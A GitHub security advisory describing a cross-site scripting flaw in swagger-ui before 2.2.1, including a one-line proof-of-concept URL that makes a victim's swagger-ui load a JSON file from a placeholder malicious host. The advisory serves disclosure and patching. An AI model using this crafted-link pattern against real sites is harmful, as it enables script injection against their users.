Critical severityGHSA Advisory· Published Sep 1, 2020· Updated Sep 23, 2021
Cross-Site Scripting in swagger-ui
CVE-2016-1000226
Description
Affected versions of swagger-ui are vulnerable to cross-site scripting in both the consumes and produces parameters of the swagger JSON document for a given API.
Additionally, swagger-ui allows users to load arbitrary swagger JSON documents via the query string parameter url, allowing an attacker to exploit this attack against any user that the attacker can convince to visit a crafted link.
Proof of
Concept
http://<USER_HOSTNAME>/swagger-ui/index.html?url=http://<MALICIOUS_HOSTNAME>/malicious-swagger-file.json
`Recommendation
Update to version 2.2.1 or later.
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Affected packages
Versions sourced from the GitHub Security Advisory.
| Package | Affected versions | Patched versions |
|---|---|---|
swagger-uinpm | < 2.2.1 | 2.2.1 |
Affected products
2- Range: < 2.2.1
Patches
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